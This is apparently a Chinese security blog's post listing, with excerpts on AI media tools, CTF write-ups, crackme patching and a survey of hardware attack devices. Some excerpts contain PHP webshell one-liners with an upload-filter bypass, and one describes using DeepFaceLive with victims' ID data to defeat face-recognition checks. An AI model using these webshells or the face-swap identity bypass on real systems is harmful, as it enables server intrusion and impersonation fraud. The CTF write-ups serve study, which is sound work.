首页
实用工具
我的旅程
在线壁纸
更多
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索
1
【工具分享】逆向工具箱 - 次元剑
89,545 阅读
2
【技术分享】PE文件结构分析 ( RVA转FOA )
7,351 阅读
3
【技术分享】NASM x86 Assembly Language
5,982 阅读
4
【技术分享】CK竞技之王游戏辅助制作
3,725 阅读
5
【每日随记】天涯明月刀无限飞修改思路
2,816 阅读
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
Search
标签搜索
Windows
Web安全
Python3
Linux
逆向工程
CTF
红队技术
人工智能
C/C++
黑客工具
Go
密码学
二进制安全
数学
漏洞挖掘
Android
eNSP
渗透测试
蓝队技术
黑客大会
发光的神
累计撰写
160
篇文章
累计收到
103
条评论
首页
栏目
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
页面
实用工具
我的旅程
在线壁纸
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索到
160
篇与
的结果
2022-10-31
【每日随记】AI 动作捕捉动画合成
CoNR 简介CoNR项目是使用动漫角色表的协作神经渲染的官方实现,旨在从手绘动漫角色表(ACS)生成生动的舞蹈视频。在我们强烈推荐的BiliBili或YouTube视频中观看更多演示和详细信息。我们的知乎常见问题解答(中文)解释了支持 CoNR 的想法。视频教程:https://www.bilibili.com/video/BV19V4y1x7bJGithub:https://github.com/megvii-research/CoNROpenmmd 简介OpenMMD代表OpenPose-Based Deep-Learning项目,可以直接将真人视频转换为动画模型(即Miku、Anmicius)的动作。OpenMMD 可以称为 OpenPose + MikuMikuDance (MMD)。简而言之,您录制一段带有人体动作的视频,通过这个项目,您将看到一个 3D 模型的动作与您在视频中所做的动作相同。视频教程:https://www.bilibili.com/video/BV1KW4y1r7npGithub:https://github.com/peterljq/OpenMMDCharacter animator 简介Character Animator 2022是Adobe公司旗下的一款2D动画制作软件(简称CH,角色动画师),主要用于制作富有表达力的高品质角色动画。视频教程:https://www.bilibili.com/video/BV1KW4y1r7npEasyVtuber 简介EasyVtuber是一个开源类似liv2D直播虚拟人物合成项目,通过表情动作驱动图片人物表情,可用来直播桌面宠物等。视频教程:https://www.bilibili.com/video/BV1TR4y197PKGithub:https://github.com/yuyuyzl/EasyVtuber
2022年10月31日
127 阅读
0 评论
2 点赞
2022-10-29
【每日随记】Novelai 图像生成再度进化
简介Novelai 最近一款非常火爆的Ai图像生成软件,它能够根据你提供的图片或关键词TAG自动生动漫图像,当然除了动漫还可以生成其它的,在国外是需要付费的,但在B站上有好多人发破解了的,我也来整个玩玩。这个对电脑的配置有点要求,电脑配置不好的合成图片会很慢,初始化都会很吃力的(就比如我),经过不断的摸索后安装成功,后面加了个群,看到有个群友发了一堆参数,我合成了下没想到居然是涩涩动漫人物图,这也行啊这。。。真的是发现新大陆了。1.Novelai 根据图片特征转换动漫人物,感觉还是挺好玩的,还可以按你的关键词TAG特征生成动漫人物,这些角色在网络上是没有的。2.画的差交给Ai处理后,会给你一个震撼的结果,看这张图就能看出效果很明显。3.这里我给了几个关键的特征,生成后我的感觉是比较满意的,基本都对了。4.这里我上传了张佳然的live2d模型图片,返回的结果挺不错,工具和使用教程可以观看以下视频。5.可在魔咒百科词典找词条,按自己喜欢的进行生成,咳咳不要乱加些涩涩的词条,效果你们懂的。6.Novelai是Python3编写的,什么都好就是有点大8GB,有几个库很大再加上Python3的解释器,自然就大起来了,不过这个项目的确很赞,可以多画点老婆(滑稽),利用好了可以生成很多内容丰富的图片,效果堪比顶级画师。魔咒百科词典:https://aitag.top鳖哲法典:http://tomxlysplay.com.cn安装教程:https://www.bilibili.com/video/BV1EV4y1L7dX
2022年10月29日
64 阅读
0 评论
6 点赞
2022-10-26
【每日随记】深度学习原神语音合成
简介语音合成(Text To Speech,TTS),是一种可以将任意输入文本转换成语音,同时也是计算机语音领域的重要研究方向,DeepVoice(深度语音)将传统参数合成的TTS系统分拆成多个子模块,每个子模块用一个神经网络模型代替。DeepVoice将语音合成分成5部分进行,分别为:文本转音素(又称语素转音素, G2P)、音频切分、音素时长预测、基频预测、声学模型。文本转音素: DeepVoice直接输入文本即可,但是由于不同语言存在“同字不同音”的现象,因此需要将文本转化为注音字符。对于中文而言,就是将汉字转化为拼音。音频切分: 获得每个音素在对应音频中的起点和终点。使用Deep Speech 2: End-to-End Speech Recognition in English and Mandarin的对齐方法,这些对齐信息用于训练后面的“音素时长预测”模型。音素时长预测和基频预测该模型为多任务模型,输入带有重音标注的音素序列,输出为音素时长、是否发音的概率和基频声学模型: 即后文的"声码器" (Vocoder)。用于将前面得到的高层特征转换为声音波形。DeepVoice的声学模型即是在前文的WaveNet基础上改进的。改进的主要方向是:改变网络层数、残差通道数、矩阵乘代替上采样卷积、CPU优化、GPU优化等。优势:提供了完整的TTS解决方案,不像WaveNet需要依赖其它模块提供特征,使用的人工特征也减少了;合成速度快,实时性好缺陷:误差累积,5个子模块的误差会累积,一个模块出错,整个合成失败,开发和调试难度大;虽然减少使用了人工特征,但在这个完整的解决方案中,仍然需要使用音素标记、重音标记等特征;直接使用文本输入,不能很好解决多音字问题。-来源网络了解这个语音合成是基于深度神经网络训练而成的模型,目前效果还是可以就是有的时候说话语调有点奇怪,毕竟没有十全十美的东西,里面我比较喜欢的角色是七七她跟像正常人说话一样,目前能和合成的人物声音有以下这些,另外还加了几个人物说的是日语,这个模型是B站上的一位UP主训练的,用了5天时间要是我电脑配置训练起来,那还真整不出来只能用了。项目是基于Github上开源的VITSGithub地址:https://github.com/w4123/vits[ '派蒙', '凯亚', '安柏', '丽莎', '琴', '香菱', '枫原万叶', '迪卢克', '温迪', '可莉', '早柚', '托马', '芭芭拉', '优菈', '云堇', '钟离', '魈', '凝光', '雷电将军', '北斗', '甘雨', '七七', '刻晴', '神里绫华', '戴因斯雷布', '雷泽', '神里绫人', '罗莎莉亚', '阿贝多', '八重神子', '宵宫', '荒泷一斗', '九条裟罗', '夜兰', '珊瑚宫心海', '五郎', '散兵', '女士', '达达利亚', '莫娜', '班尼特', '申鹤', '行秋', '烟绯', '久岐忍', '辛焱', '砂糖', '胡桃', '重云', '菲谢尔', '诺艾尔', '迪奥娜', '鹿野院平藏' ] // 日语 {"宁宁": 0, "爱瑠": 1, "芳乃": 2, "茉子": 3, "丛雨": 4, "小春": 5, "七海": 6, }{cloud title="原神语音合成源码" type="bd" url="https://pan.baidu.com/s/17cHhdzPQb4VSamCPt_p4YA?pwd=2085" password=""/}效果视频{dplayer src="https://www.52tt.pro/usr/uploads/2022/10/met.mp4"/}1.以上是我修改过的语音合成,以下是通过QQ机器人的方式发送指令合成语音。安装教程:https://www.bilibili.com/video/BV1m84y1B7NW
2022年10月26日
181 阅读
0 评论
5 点赞
2022-10-26
【每日随记】Deepface AI换脸绕过人脸识别
简介什么是Ai? 顾名思义:Artificial Intelligence(人工智能),我们一般称为AI。并且它是一门用于研究、开发用于模拟、延伸和扩展人的智能的理论、方法、技术及应用系统的一门新的技术科学。但从名字而言,顾名思义,也就是人通过工作而出现的一种高端智能科学。案例1.像这种人脸伪造案件其实是有过的,在这里提醒各位,技术本无罪 切勿触碰法律底线。了解学习网络安全的我,对Ai上的攻防也是比较感兴趣的,可以发现生活越来科技化了我们自然是离不开网络,网络安全这也是重要的防线,像游戏防成谜和修改账号密码等操作,一些app都会有人脸识别的影子,而识别是通过机器检测的,这可是一个缺陷机器可不像我们人,换没换过脸它可不知道,你的脸和要检测的对象所匹配满足了要求,眨眼睛、转头、等操作那就认证成功。通过Ai换脸技术伪造一个人,需要知道对方的一些信息,如身份证 利用社工库搜索一个人,有身份证就行伪造人脸。DeepfaceLive1.今天的主角DeepfaceLive,它是开源的工具编写语言是Python,这软件比较强大可以伪造人脸,也可以通过一张图片,直接捕捉你的表情动作驱动图像的动作,由于是开源的不需要付费,直接在Github上下载即可。DeepfaceLive:https://github.com/iperov/DeepFaceLive1.1.往下滑找到Releases下载这个,是编译好的不需要安装任何环境,记得科学上网获取到直链用迅雷下载这样快一点。1.2.还有一款是DeepFaceLab比Live更成熟些,都可以下载玩玩的。DeepFaceLab:https://github.com/iperov/DeepFaceLab2.这里有两个功能,人脸交换器是通过模型进行替换人脸,试了下效果还是可以的,第二个是一张图片就能驱动(可以自己加人脸图片),而模型是要自己训练的,训练步骤请参考DeepfaceLive文档。3.这里我都演示了一下,感兴趣的话可以自己试下,功能还是挺全的还可以用来直播,里面都是可以设置的。视频教程{dplayer src="https://www.52tt.pro/usr/uploads/2022/10/1026.mp4"/}4.看了B站上没人发过这类的东西,本想上传B站上结果过不了审核上传了几次都不行,算了视频就放在博客里了。
2022年10月26日
407 阅读
0 评论
22 点赞
2022-10-24
【CTF解题】BugKu - Crypto篇
你以为是md5吗解题1.题目描述了md5这种提示,一般都是出题人的暗示,我就喜欢这么出题。2.下载文件下来是一个txt文本文档,里面有串值看起来是md5,好了直接去在线解密了。3.如果这么想就错了,仔细观察会发现md5是以0-9 a-f 组成十六进制数,里面出现了"i u o"很明显这肯定是出题人加的,去除掉再试试看。4.果然是这样,出结果了还真的是666,那么flag就是这个了。flag{666666666666}简单的RSA解题了解RSARSA算法原理 :RSA公开密钥密码体制的原理是:根据数论,寻求两个大素数比较简单,而将它们的乘积进行因式分解却极其困难,因此可以将乘积公开作为加密密钥。RSA算法的具体描述如下:(1)任意选取两个不同的大素数p和q计算乘积 n = pq,n1 = (p-1)(q-1) ;(2)任意选取一个大整数e,满足gcd(e,n1)=1,整数e用做加密钥(注意:e的选取是很容易的,例如,所有大于p和q的素数都可用);(3)确定的解密钥d,满足(de) mod n1 = 1,即de = k(n1)+1,k >= 1 是一个任意的整数;所以,若知道e和n1,则很容易计算出d;(4)公开整数n和e,秘密保存d ;(5)将明文m(m<n是一个整数)加密成密文c,加密算法为:c = E(m)=m^e mod n;(6)将密文c解密为明文m,解密算法为:m = D(c) = c^d mod n;然而只根据n和e(注意:不是p和q)要计算出d是不可能的。因此,任何人都可对明文进行加密,但只有授权用户(知道d)才可对密文解密。RSA解密算法思路 :通过RSA算法原理的第三点可以看到,需要解密出 明文m,就要知道 密钥d,所以算法思路就围绕密钥d进行求解。密钥d 通过 辗转相除法 (欧几里得算法,我后面才知道的......) 进行求解:1、根据算法原理的第三点我们得知:(de) mod n1 = 1,即 de - k(n1) = 1;2、知道 系数k 即可得到 密钥d,且 系数k 存在两种情况:2.1 情况一:n1 != 12.1.1 先 n1 对 e 取模 后得到的值赋值给 n12.1.2 然后 e 对 赋值后的 n1 取模 得到的值赋值给 e......以此类推,最后得到 k = 1 时即可停止;令 d = 1 代入倒数第二条式子,得到k的值代入倒数第三条式子,以此类推当代入至第一条式子时,得到的 d 即为 密钥d 的值;2.2 情况二:n1 = 12.2.1 按照情况一的步骤,最后得到 n1 = 1 时即可停止;根据情况一的步骤代入即可得到 密钥d 的值。3、使用python内置函数 pow函数即可得到 明文m。题目分析1.题目给我们的是一个python的pyc文件,pyc是python编译出的二进制文件,很好转换成py源码的,想要解密就必须了解RSA加解密算法的原理。2.用工具就可以还原出源代码,这里我用一个在线的网站进行转换。解密网站:https://tool.lu/pyc/from Crypto.Util.number import * import gmpy2 import base64 p = int("0xED7FCFABD3C81C78E212323329DC1EE2BEB6945AB29AB51B9E3A2F9D8B0A22101E467",16) # 将16进制转换成10进制 q = int("0xAD85852F9964DA87880E48ADA5C4487480AA4023A4DE2C0321C170AD801C9",16) e = 65537 n = p * q c = int("0x75AB3202DE3E103B03C680F2BEBBD1EA689C8BF260963FE347B3533B99FB391F0A358FFAE5160D6DCB9FCD75CD3E46B2FE3CFFE9FA2E9508702FD6E4CE43486631",16) phi = (p-1)*(q-1) #求φ(n),φ(n)=(p-1)(q-1) d = gmpy2.invert(e,phi) #求e对于模n的逆元,即解密指数d m = pow(c,d,n) #m=c^e mod n,m为10进制格式 flag = long_to_bytes(m) #m的字符串形式 print(base64.b64decode(flag)) #上面得到的flag是base64编码,进行一次base64解码即可 # 输出结果:flag{IlikeCTFbutCTFdon'tlikeme}3.根据RSA解密算法公式,解出flag。flag{IlikeCTFbutCTFdon'tlikeme}简单的密码解题1.题目意思是简单的密码,感觉不会太难,试着把题目下载看下。2.打开后二进制?一开始我想的是二进制转换成字符串,尝试失败了后来观察了下,会不会通过二进制的0和1给我们返回给一种状态呢,真的是没想到题目里的0代表 . 而 1 代表 - 这就是摩斯密码的规则。3.拿到在线网站解码下,果然是这样的 摩斯密码是以大写显示,我们要转换成小写,%u7b代表字符 " { " , %u7d代表的是 " } " 那么flag就是这个了。4.可以对照下这个摩斯密码表。Bina = "0010 0100 01 110 1111011 11 11111 010 000 0 001101 1010 111 100 0 001101 01111 000 001101 00 10 1 0 010 0 000 1 01111 10 11110 101011 1111101" strbox = "" for i in Bina: if i == "0": strbox += "." if i == "1": strbox += "-" if i == " ": strbox += " " dic = { ".-": "A", "-...": "B", "-.-.":"C","-..":"D", ".":"E","..-.":"F","--.":"G","....":"H", "..":"I",".---":"J","-.-":"K",".-..":"L", "--":"M","-.":"N","---":"O",".--.":"P", "--.-":"Q",".-.":"R","...":"S","-":"T","----.":"9", "..-":"U","...-":"V",".--":"W","-..-":"X", "..--.-":"_",".----":"1", "-.--":"Y","--..":"Z", "----.--":"{","-----.-":"}","-.-.--":"!","-----":"0" } for i in strbox.split(): print(dic[i].lower(), end="")flag{m0rse_code_1s_interest1n9!}来自宇宙的信号解题1."标准银河字母(Standard Galactic Alphabet)"出自游戏《指挥官基恩》系列。2.一开始还真不知道是什么,百度过后才发现还有这种的,学习了这是标准银河字母,按照这张表输入对应的字母,就是正确的flag了。flag{nopqrst}参考文章https://blog.csdn.net/weixin_43211186/article/details/125180939聪明的小羊解题题目类型:Crypto描述: 一只小羊翻过了2个栅栏 fa{fe13f590lg6d46d0d0}1.题目描述看似给我们提供了flag但经过了加密,他给我们提示了关键信息小羊 栅栏 翻过2个,一开始我还不清楚是个什么加密。2.顺着关键字百度,找到了个栅栏密码,还有这种加密长知识赶紧学习了。3.找到个栅栏密码解密工具,设置翻过2组解密见flag。
2022年10月24日
31 阅读
0 评论
2 点赞
2022-10-24
【CTF解题】BugKu - Misc篇
简介首先什么是隐写?其实就是把一些东西给你隐藏到一个地方,让你去通过技术的手段给还原,隐藏的东西可能是恶意代码,压缩包、图片、文字、等等。图片隐写解题1.这道题在图片里隐写了一窜flag值,好让我们先去了解下图片的内部结构。3.以上是图片的基本结构,可以看出里面也有宽和高,一般来说这里也是突破点。3.这里我用Winhex,Windows用习惯了Kali可以用binwalk,然后打开看下里面的字节哪里有异常,发现这里的宽和高不相等,还原下与宽相等就能看到隐写的内容了。easy_nbt解题1.一看是Misc题给我想到隐写和二维码,给自己张记性养成良好的习惯。2.下载下来是一个压缩包,解压下来里面有这些文件,这个咋看起啦有点眼熟好像是我的世界存档文件,先不管了试试搜索flag看看有没有。3.什么也没有,进文件夹里只有几个文件都看了下,都没有flag好了试着换种方法了。4.判断下文件是不是其它文件格式,通过010 Editor找到 level.dat 发现是一个压缩包。5.改下格式发现里面有一个文件,好了用010 Editor打开看下。6.进行搜索找到了,flag就在这里面。flag{Do_u_kN0w_nbt?}1和0的故事解题1.这道题挺有意思的,0和1的二进制题目先下载下来看看。2.题目是一个文本文档,里面有一堆0和1的二进制数,注意下一看到Misc的题目,就给我想到隐写和二维码这类,这里我分析了下0和1可以代表什么东西,这里不卖关子了,可以想0是白色1是黑色组合起来就可以出一个二维码。0000000001110010000000000| 0000000000011110100000000| 0000000001110001000000000| 0000000010111100000000000| 0000000010101010000000000| 0000000001100010100000000| 0000000010101010100000000| 0000000001000001100000000| 1100011101110110100011000| 0001000010110010010010100| 0100111101000011101110011| 0011110100101011001001001| 1000001001100001001101000| 1111000111111011100101000| 1011011111001101111110111| 1000110110010010101101100| 1000111100111111111110111| 0000000010110001100010100| 0000000010010100101010001| 0000000010101010100011001| 0000000000100111111110010| 0000000000011001011110111| 0000000001001100100100001| 0000000011000011011011001| 0000000011010000101110101| 3.可以用文档或者什么自己拼接起来就行,这里我就直接写代码了,注意使用我的代码必须从这里复制,因为我加了个" | "符号,作为换行分割,当然自己加也是可以的。# cmd显示 import os strjoin = "" os.system("cls & color f0") with open("1和0的故事.txt","r") as f: for i in f.readlines(): for s in i.strip(): if s == "0": strjoin += " " if s == "1": strjoin += "■" if s == "|": strjoin += "\n" print(strjoin)# GUI显示 import pygame pygame.init() surface = pygame.display.set_mode((800, 700)) pygame.display.set_caption("actdream") surface.fill((255, 255, 255)) pos = [100,100,20,20] with open("1和0的故事.txt","r") as f: for i in f.readlines(): for s in i.strip(): if s == "0": pos[0] += pos[2] pygame.draw.rect(surface,(255,255,255),pos,0) if s == "1": pos[0] += pos[2] pygame.draw.rect(surface,(0,0,0),pos,0) if s == "|": pos[0] = 100 pos[1] += pos[2] pos[0] += pos[2] pygame.display.update() while True: for event in pygame.event.get(): if event.type == pygame.QUIT: pygame.quit()4.自己补全下那三个空隙,用微信扫码扫下就出flag了。flag{QR_c0de_1s_1nterest1n9}眼见非实解题1.一看到Misc题目就给我想到隐写,GIF图片隐写、PDF隐写、流量隐写、二维码复原,这类的东西。2.题目下载下来是个word文档,先打开看一下。3.打开后有好几页全是乱码,在这里死磕就死解了,正确的办法是先判断他到底是不是个,word文档一般隐写的题目,就喜欢在文件的二进制里修改,或者是文件后缀。4.这里我用010 Editor工具查看下,一看这头部就有问题,可以看到有PK是个压缩包的头,这就是zip的压缩包。5.我准备了两张图片和两个压缩包,都试下为了区分它们的不同,52 61 72 这个是Rar的ASCII码可以做特征,每个文件都有不同的可自己尝试。6.知道是压缩包了,直接改后缀看看里面,里面有文件我解压出来了。7.这里我直接搜索flag,找到 document.xml文件 flag就在这里面。flag{F1@g}// Golang code package main import ( "fmt" "log" "os" "strings" ) func getinfo() { for { fmt.Printf("%s", "请拖入文件:") var path string fmt.Scan(&path) trans := strings.Replace(path, `\`, `\\`, -1) file, err := os.Open(trans) // For read access. if err != nil { log.Fatal(err) } data := make([]byte, 16) count, err := file.Read(data) if err != nil { log.Fatal(err) } array := map[string]string{ "JFIF": "jpeg图片", "PK": "zip压缩包", "Rar": "rar压缩包", "GIF89a": "gif动态图", "MZ": "exe程序", "Exif": "jpg图片", } for v, k := range array { if strings.Contains(string(data[:count][0:16]), v) { fmt.Printf("%s\n", k) } } } } func main() { getinfo() }8.知道原理了写了一个脚本,来判断是什么文件。9.这里我把后缀改成了png,其实是一个压缩包。
2022年10月24日
44 阅读
0 评论
3 点赞
2022-10-22
【CTF解题】摩尔斯电码 ( Morse code )
简介摩尔斯电码(又译为摩斯密码,Morse code)是一种时通时断的信号代码,通过不同的排列顺序来表达不同的英文字母、数字和标点符号。它发明于1837年,发明者有争议,是美国人塞缪尔·莫尔斯或者艾尔菲德·维尔。 摩尔斯电码是一种早期的数字化通信形式,但是它不同于现代只使用零和一两种状态的二进制代码,它的代码包括五种: 点、划、点和划之间的停顿、每个字符间短的停顿(在点和划之间)、每个词之间中等的停顿以及句子之间长的停顿。26个字母的摩斯密码表字符电码符字符电码符字符电码符字符电码符A.━B━ ...C━ .━ .D━ ..E.F..━ .G━ ━ .H....I..J.━ ━ ━K━ .━L.━ ..M━ ━N━ .O━ ━ ━P.━ ━ .Q━ ━ .━R.━ .S...T━U..━V...━W.━ ━X━ ..━Y━ .━ ━Z━ ━ ..数字的摩斯密码表字符电码符字符电码符字符电码符字符电码符0━ ━ ━ ━ ━1.━ ━ ━ ━2..━ ━ ━3...━ ━4....━5.....6━ ....7━ ━ ...8━ ━ ━ ..9━ ━ ━ ━ . 标点符号的摩斯密码表字符电码符字符电码符字符电码符字符电码符..━ .━ .━:━ ━ ━ ...,━ ━ ..━ ━;━ .━ .━ .?..━ ━ ..=━ ...━'.━ ━ ━ ━ ./━ ..━ .!━ .━ .━ ━━━ ....━_..━ ━ .━".━ ..━ .(━ .━ ━ .)━ .━ ━ .━$...━ ..━&. ...@.━ ━ .━ ..... . .-.. .-.. --- .-- --- .-. .-.. -.. // HELLO WORLD在线转换https://www.lddgo.net/encrypt/morse1.自己写了一个摩斯密码翻译器。{cloud title="下载链接" type="lz" url="https://wwl.lanzoue.com/iQBHx0ejveod" password="ayx9"/}
2022年10月22日
120 阅读
0 评论
1 点赞
2022-10-21
【CTF解题】吾爱破解 Crackme 逆向破解
解题1.在吾爱上看到一篇新帖Crackme,既然还没人解题就让我来试下吧。2.观察下要输入正确的账号密码,才会有成功的提示,注意这里有关键字 "登录失败",可以作为突破口。3.先查软件看下有没有壳,可以看到没有壳,直接用OD打开看下。4.题目说了是易语言写的,直接搜401000这个地址直接跳到程序代码初始头。5.按我的思路肯定先搜索一遍字符串,看看有没有账号和密码。6.我们观察一遍可以看到,有好几个账号密码错误,都可以进去看看,这里我就不卖关子了账号和密码都是 "1",是不是觉得很简单这么玩就没意思了,试着跟下错误的提示修改下输入错误的账号密码,也能执行正确的代码段。破解分析int MessageBox( HWND hWnd, // 窗口句柄 LPCTSTR lpText, // 要显示的消息 LPCTSTR lpCaption, // 对话框标题 UINT uType ); // 函数参数 hWnd 类型:HWND 要创建的消息框的所有者窗口的句柄。如果此参数为NULL,则消息框没有所有者窗口。 lpText 类型:LPCTSTR 要显示的消息。如果字符串由多行组成,则可以使用每行之间的回车符和/或换行符分隔行。 lpCaption 类型:LPCTSTR 对话框标题。如果此参数为NULL,则默认标题为“ 错误”。 uType 输入:UINT 对话框的内容和行为。此参数可以是来自以下标志组的标志的组合。 要指示消息框中显示的按钮,请指定以下值之一。7.MessageBox是kernel32.dll里的函数,他的作用是给我们显示一个窗口提示框,在我们做的任何操作在windows里都会有消息事件,而这些事件都是基于windows给我们提供的api,有这些东西我们就可以编写更强大的功能,也能够更好的驱动硬件。突破点系统api下断点调试 如:MessageBox GetWindowText找关键字提示 如:正确或错误提示 办法还是有很多的00402AB7 /0F84 41000000 je iwong.00402AFE // 这是突破的关键je 是反汇编的判断 00402ABD |. |6A 00 push 0x0 00402ABF |. |6A 00 push 0x0 00402AC1 |. |6A 00 push 0x0 00402AC3 |. |68 04000080 push 0x80000004 // push是往栈压入参数,会有些图标id 00402AC8 |. |6A 00 push 0x0 00402ACA |. |68 998A4900 push iwong.00498A99 ; 登录成功 00402ACF |. |68 01030080 push 0x80000301 00402AD4 |. |6A 00 push 0x0 00402AD6 |. |68 00000000 push 0x0 00402ADB |. |68 04000080 push 0x80000004 00402AE0 |. |6A 00 push 0x0 00402AE2 |. |68 998A4900 push iwong.00498A99 ; 登录成功 00402AE7 |. |68 04000000 push 0x4 00402AEC |. |BB F0324000 mov ebx,iwong.004032F0 00402AF1 |. |E8 1E010000 call iwong.00402C14 // 调用了登录成功提示 00402AF6 |. |83C4 34 add esp,0x34 00402AF9 |. |E9 3C000000 jmp iwong.00402B3A // 返回不执行下一行代码块 00402AFE |> \6A 00 push 0x0 00402B00 |. 6A 00 push 0x0 00402B02 |. 6A 00 push 0x0 00402B04 |. 68 04000080 push 0x80000004 00402B09 |. 6A 00 push 0x0 00402B0B |. 68 A28A4900 push iwong.00498AA2 ; 登录失败 00402B10 |. 68 01030080 push 0x80000301 00402B15 |. 6A 00 push 0x0 00402B17 |. 68 00000000 push 0x0 00402B1C |. 68 04000080 push 0x80000004 00402B21 |. 6A 00 push 0x0 00402B23 |. 68 A28A4900 push iwong.00498AA2 ; 登录失败 00402B28 |. 68 04000000 push 0x4 00402B2D |. BB F0324000 mov ebx,iwong.004032F0 00402B32 |. E8 DD000000 call iwong.00402C14 // 调用了登录失败提示 00402B37 |. 83C4 34 add esp,0x34 00402B3A |> 8BE5 mov esp,ebp 00402B3C |. 5D pop ebp 00402B3D \. C2 0400 retn 0x48.看不懂的话建议先学汇编基础,学起来不是很难的。9.这里我OD运行不了我换了下x32dbg,将402AB7这个地址je给nop掉就行,jne、jmp都是可以的,这样代码就会从402AB7开始走到正确的提示,输入错误的账号密码也是一样的。10.完工,比较简单的一道题。
2022年10月21日
281 阅读
0 评论
7 点赞
2022-10-20
【每日随记】Kcon黑客大会:硬件攻击
简介渗透分两种情况远距离渗透: 坐在电脑前就行,比如你要攻击的服务器在很远的地方,你通过一些技术手段入侵到内网。 近距离渗透: 需要的是你人的行动,你要到服务器的地方打入公司内部跟那些小偷差不多直接进行物理上的攻击(这里指的是技术上的)。一般情况下在软件技术做不到的事,就要想到社工或者一些硬件上的工具,今天我就总结下一些硬件上攻击的工具。Badusb2014年美国黑帽大会上研究人员JakobLell和Karsten Nohl展示了badusb的攻击方法后,国内与badusb相关的文章虽然有了一些,但是大部分人把相关文章都阅读后还是会有种“不明觉厉”的感觉,badusb仍有一层朦胧的面纱。本文将带你揭开这层神秘的面纱。Badusb原理:利用HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)进行攻击,将USB设备伪装使电脑识别为键盘,再利用USB设备中的微控制芯片,向主机发送命令,从而实现完全控制主机。漏洞产生原因:现在的USB设备很多,比如音视频设备、摄像头等,因此要求系统提供最大的兼容性,甚至免驱;所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证,而是允许一个USB设备具有多个输入输出设备的特征。这样就可以通过重写U盘固件,伪装成一个USB键盘,并通过虚拟键盘输入集成到U盘固件中的指令和代码而进行攻击。实现原理badusb很像一个U盘,不过这可不是一个U盘,它是可以进行代码编写,把代码刷入硬件里。比如插入badusb调用cmd、powershell等终端、可以实现很多操作执行很多命令。关于杀毒杀毒软件不可能拦截你,插入的设备尤其是键盘一样的badusb,除非是你写的操作有问题。比如写调用cmd创建一个用户或操作注册表这种敏感操作、杀毒软件肯定会拦截的,当然可以绕过的这是题外话。USBAirborne这款可以模拟特殊设备绕过Windows Autorun 安全机制,USBAirborne内部有一个4mb存储空间可以存放木马,刷入固件后 他会伪装成一个8G的U盘,当受害者点击时会执行恶意代码,就算不点击只要插入了也会执行恶意代码,这点比Badusb好 因为badusb插入会调用cmd显示,而USBAirborne不会,它会悄无声息的执行。PoisonTap这款是网关劫持攻击工具,攻击原理插入电脑后会伪装一块,非常小的USB网卡给电脑分配一块非常小的掩码IP段,PoisonTap就会获得最高路由优先级,电脑上的网络都会经过它,不需要电脑解锁的 windows锁屏了但他的网络服务依然运行,可以抓cookies和流量。再介绍下Responder.py 可以抓域内的流量 HTML hash等,如果电脑是弱口令就能解出密码,这个在Github是开源的。Github:https://github.com/SpiderLabs/ResponderGrabAccess这款比较强只需要一个U盘把GrabAccess装里面,然后插入选择U盘启动,就会自动植入木马设置自启动,GrabAccess无视电脑密码和Bitlocker加密,它的原理是利用了Windows的WPBT,这个功能原本是设计给制造商植入驱动软件和还有一些防丢软件,这个是安装在主板UEFI固件里的,一旦植入了WPBT条目后,无论是重装系统还是更换硬盘开机之后都会被指定安装程序。Github:https://github.com/Push3AX/GrabAccess门禁卡复制ID卡没有加密只有一窜数值,直接就可以复制第二个,IC卡不同有加密需要密码才能对IC卡进行操作,像ID卡很少见了,一般都是加了密的IC卡。重放攻击可以利用信号复制进行重放攻击,实现相同的功能,比如保安开的门,会按一个开关这个时候只需要,在远处复制到这个发射的信号,就可以重放攻击开门。树莓派(内网跳板)USBKeylogger这款可以监听键盘记录,插入电脑就会开启一个wifi,受害者输入键盘的内容,就会在web上一个网站上显示(是内网)。们只需要连接wifi在浏览器查看即可,这个东西很暴露最好的办法就是焊接到电脑内。Telescreen这款是可以记录屏幕显示的内容,安装在HDMI线和屏幕之间。用来定时抓取屏幕截图,它也有wifi功能通过wifi可以提供屏幕的串流,有弊端的具体可自己研究。Flipper Zero总结不管是远渗透,还是近渗透利用好这些资源,都会是我们的突破口,像这些例子也给我许多启发,这里介绍一个网站专门做硬件安全的hak5。hak5官网:https://www.hak5.org视频讲解:https://www.bilibili.com/video/BV1he4y177Vf
2022年10月20日
140 阅读
0 评论
8 点赞
2022-10-19
【CTF解题】攻防世界Web篇
easyupload解题题目难度:11.题目名就是简单的上传,一开始我以为什么过滤都没有,直接上传一句话木马试试。2.将一句话木马改成图片格式,上传后修改文件后缀绕过过滤,结果失败了再换种方式试试。// .user.ini GIF89a auto_prepend_file=a.jpg // 一句话 GIF89a <?=eval($_REQUEST['cmd']);?>3、.htaccess是伪静态环境配置文件用于lamp,.user.ini是lnmp文件,里面放的是你网站的文件夹路径地址。目的是防止跨目录访问和文件跨目录读取,配置放在根目录.user.ini,auto_prepend_file的作用是在页面顶部加载文件,上传.user.ini 然后内容写auto_prepend_file=a.jpg,GIF89a也写进去这是gif的文件头,写进去是为了欺骗。3.先上传.user.ini,把请求头上的文件类型修改成,image/jpg伪装成图片,好的上传成功了。4.一句话木马也上传成功了,再访问upload目录下a.jpg,发现图片是有的,再访问index.php看到一堆乱码里面有GIF89a,这个是就是连接木马的关键网址。5.输入网址和一句话木马,开始连接开始找flag。6.找到了在根目录下,提交下看看是不是对的。upload1解题题目难度:21.题目upload就带有上传的提示,先上传个木马试试,一般前端都有文件类型过滤,也有可能后端有,题目嘛不会那么坑的。2.一般敏感的可文件都上传不了,这里我用一句话和图片合成了,改后缀也是可以的,就决定是你了,上吧,朱菜!!<?php @eval($_POST['zc']);?>3.上传成功之后,就可以开始连接了,上蚁剑能连上就行工具都差不多。
2022年10月19日
396 阅读
0 评论
43 点赞
2022-10-17
【技术分享】SNMP服务安全加固
